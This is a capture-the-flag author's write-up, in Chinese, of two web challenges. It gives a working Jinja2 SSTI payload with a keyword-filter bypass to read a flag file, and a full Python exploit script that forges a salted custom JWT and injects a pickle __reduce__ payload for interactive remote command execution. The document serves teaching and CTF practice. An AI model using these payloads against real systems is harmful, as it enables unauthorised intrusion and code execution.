Confusion1 一进来浏览网站发现什么也没有,两个页面 login.php 和 register.php 全是 404
虽然题目描述里专门讲了不要使用扫描器,但是很多师傅还是非要用扫描器疯狂扫,比赛才刚开始 1 个小时日志就疯涨到了 200M,后面不得已鄙人才着急写了个封 IP 的脚本,但是可能规则有点严,误封了不少人的 IP,这都是后话了
既然网站什么也没有,但是题目还是要做的,继续浏览网站,细心点的师傅可以发现在 404 页面里给了 flag 的路径
那么这个题的目的肯定就是要想办法读到 flag 文件,要读文件那就肯定要有用户输入,但是整个网站并没有可以和用户交互的地方,除了 404 页面 url 部分
有经验的师傅肯定做过其他比赛中有 404 页面 url 部分 SSTI 的题,这个题也是一样的,没有经验的萌新就只能一步步的试了,总之这个网站可以控制输出的地方只有 404 的 url
所以这里存在 SSTI,之后照着思路往下走,不细心的师傅可能走 PHP 的 SSTI 了,因为整个站鄙人都伪装成了 Apache+PHP,其实整个站使用 Python flask 实现的,伪装的并不完美,如果师傅做题的时候不小心弄出个 500,可能就会暴露真实的服务
现在仔细看首页的那张图应该就能明白那张图片的意思了 2333333333
另外题目里对一些关键字做了过滤
用 request.args 绕过即可,payload:
1 {{'' [request.args.a][request.args.b][2 ][request.args.c]()[40 ]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt' )[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
另外题目里除了 flag,还给了一个 salt,也拿上,下一个题会用到
Confusion2 这个题和 Confusion1 相比多了 login 和 register,所以肯定要用到注册和登录,另外题目描述里讲了
I find something STRANGE when Alice said hello to me.
登录成功之后首页刚好会出现一个”hello”+ 用户名
所以就需要关注这个 hello 是怎么来的。从注册到登录,抓个包发现 cookie 比较奇怪,除了 PHPSESSID(当然这是假的 23333)还有一个 token,经过分析发现这是一个 JWT
这并不是标准的 JWT, 是鄙人自己实现的一个(为了师傅们做题方便用的算法是 sha256),然后分析一下 payload 里是什么
1 2 3 { "data" : "O:4:\"User\":2:{s:9:\"user_data\";s:59:\"(lp1\nVsrpopty\np2\naS'0af1ebb83911a420f08e94e6028b93ad'\np3\na.\";}" }
很明显 data 是一个 PHP 的序列化字符串,这时候很多师傅可能就会开始怀疑了,这个网站到底是个 PHP 还是个 Python?接着分析下这个序列化字符串。
User 对象中有一个 user_data 的成员,值为(lp1\nVsrpopty\np2\naS'0af1ebb83911a420f08e94e6028b93ad'\np3\na.
,有经验的师傅这时候就可以看出来这是一个 Python 序列化的字符串,而且这个字符串中出现了两个很突出的部分:登录的用户名和一串 hash,而这串 hash 就是用户名的 md5
把这个字符串手动在 python 里反序列化一下会发现这是一个列表,第一个元素是用户名,第二个元素是用户名的 md5
所以接下来就是利用 python 中 class 的__reduce__方法反序列化 RCE,但是首先要想办法绕过 JWT 的验证。前面已经知道 JWT 中的算法是 sha256,但是题目描述中说
PS: Alice said she likes add salts when she was cooking.
Hint 中也提到
hint:Alice likes adding salt at the LAST.
在加上 Confusion1 中拿到的 salt 到现在都没有用到,所以 sha256 中需要加上前一道题中拿到的 salt,根据 Hint 里提到的,salt 需要加在最后,这样就能绕过 JWT 的验证了。需要注意一下的是在使用 salt 的时候格式是jwt_header + '.' + jwt_payload + salt
,可能很多人在 payload 和 salt 之间也多加了个点导致 JWT 一直过不去,鄙人的锅,很抱歉鄙人没有讲清楚导致很多师傅卡在这里了。另外需要注意就是 python 反序列化的 payload 放在 PHP 的序列化字符串中也要注意 PHP 序列化的格式,字符数量必须和前面的数字相等
最后在 opt 中找到 flag
附 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 import cPickleimport osimport sysimport base64import hashlibimport jsonimport Cookieimport commandsimport MD5proofimport requestsimport reif os.name != 'posix' : print 'This script must be run on Linux!' sys.exit(1 ) sess = requests.Session() url = 'http://xxxx:xxxx/' md5proof = MD5proof.Md5Proof(0 , 6 ) SALT = '_Y0uW1llN3verKn0w1t_' username = 'srpopty' password = 'srpopty' cmd = 'ls' def base64_url_encode (text ): return base64.b64encode(text).replace('+' , '-' ).replace('/' , '_' ).replace('=' , '' ) def base64_url_decode (text ): text = text.replace('-' , '+' ).replace('_' , '/' ) while True : try : result = base64.b64decode(text) except TypeError: text += '=' else : break return result class PickleRce (object ): def __reduce__ (self ): return commands.getoutput, (cmd,) def register (username, password ): while True : verify = md5proof.Proof(re.findall('\'\),0,6\) === \'(.*?)\'</span>' , sess.get(url + 'login.php' , allow_redirects=False ).content)[0 ]) if len (verify) > 0 and '*' not in verify: break data = { 'username' : username, 'password' : password, 'verify' : verify } ret = sess.post(url + 'register.php' , data=data, allow_redirects=False ) if 'success' in ret.content: return True else : print '[!] Register failed!' print ret.content return False def login (username, password ): while True : verify = md5proof.Proof(re.findall('\'\),0,6\) === \'(.*?)\'</span>' , sess.get(url + 'login.php' , allow_redirects=False ).content)[0 ]) if len (verify) > 0 and '*' not in verify: break data = { 'username' : username, 'password' : password, 'verify' : verify } ret = sess.post(url + 'login.php' , data=data, allow_redirects=False ) if 'success' in ret.content: return ret else : print '[!] Login failed!' print ret.content return None def create_jwt (kid, data ): jwt_header = base64_url_encode( '{"typ":"JWT","alg":"sha256","kid":"%d"}' % kid) jwt_payload = base64_url_encode('{"data":"%s"}' % data) jwt_signature = base64_url_encode(hashlib.sha256( jwt_header + '.' + jwt_payload + SALT).hexdigest()) return jwt_header + '.' + jwt_payload + '.' + jwt_signature def serialize (): payload = cPickle.dumps([PickleRce(), PickleRce()]) data = json.dumps('O:4:"User":2:{s:9:"user_data";s:%d:"%s";}' % ( len (payload), payload))[1 :-1 ] print data return data if register(username, password) is not None : login_result = login(username, password) if login_result is not None : try : while True : cmd = raw_input('>>> ' ) cookies = login_result.cookies jwt = create_jwt(int (re.findall('"kid":"(.*?)"' , base64_url_decode( login_result.cookies['token' ].split('.' )[0 ]))[0 ]), serialize()) new_token = Cookie.SimpleCookie().value_encode(jwt)[1 ] new_cookies = { 'PHPSESSID' : cookies['PHPSESSID' ], 'token' : new_token } ret = requests.get(url + 'index.php' , allow_redirects=False , cookies=new_cookies) print '[*] RCE result: ' + re.findall('<p class="hello">Hello ([\s\S]*?)</p>' , ret.content)[0 ] except KeyboardInterrupt: print '\nExit.'
结语 这次比赛的确很难受,题目里说了别用扫描器,还是有很多人疯狂扫,最后把容器都扫崩了。赶出来一个封 IP 的脚本,虽然限制了扫描器,但是规则可能有点严(感觉也可能是玄学因素。。。),一开始 3 秒钟 30 个包封 IP(这个的确鄙人也感觉太严格了),不少人被误封,后来改成 3 秒钟 50 个包,有些人说被误封了,最后 3 秒钟 80 个包还有说误封的。。。。到最后只能改成 1 秒 80 个包还是说有被误封的 - -!日志量太大也实在不好审日志,所以最后只能把所有 IP 都解封,解封没多久又有上扫描器的。。。。
另外在日志中也能看到有些搅屎棍,的确,不得不说国内 CTF 比赛的环境实在是太恶劣了,自己做完了的题不想让别人做,还是多去打打国外的比赛吧。最后的确鄙人也是太垃圾了,很抱歉没有给各位师傅创造一个良好的解题环境,以后鄙人一定更加努力!